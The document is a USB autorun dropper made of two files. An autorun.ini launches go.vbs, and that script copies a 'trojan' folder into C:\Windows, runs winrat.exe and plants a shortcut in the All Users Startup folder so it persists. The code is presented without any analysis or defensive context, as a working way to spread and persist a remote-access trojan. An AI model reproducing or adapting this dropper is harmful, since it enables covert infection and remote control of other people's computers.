autorun.ini
****************
[AutoRun]
open=wscript go.vbs

-------------------------------------------
go.vbs 
*****************************************
Dim FSO,File
Dim Date,Hour,Day,Backuppath,Daystring
Set FSO = CreateObject("Scripting.FileSystemObject")
 
If Fso.FolderExists ("C:\Windows\trojan") Then
   Set File= FSO.GetFile("C:\Windows\trojan\winrat.exe")
   Date=File.DateLastModified
   Day=DatePart("y",Date)
   Daystring=CStr(Day)
   Backuppath="C:\Windows\trojanbackup"+Daystring
   Fso.MoveFolder "C:\Windows\trojan", Backuppath
End If
 
FSO.CopyFolder ".\trojan", "c:\Windows\trojan", true
 
Set oShell = CreateObject("WScript.Shell")
oShell.Run "C:\Windows\trojan\winrat.exe"
 
If Fso.FolderExists ("C:\Documents and Settings\All Users\Start Menu\Programs\Startup\") Then
If Fso.FileExists ("C:\Documents and Settings\All Users\Start Menu\Programs\Startup\Trojan.lnk") Then
Else
   FSO.CopyFile "c:\Windows\trojan\Trojan.lnk","C:\Documents and Settings\All Users\Start Menu\Programs\Startup\", true
End If
End If
 
wscript.quit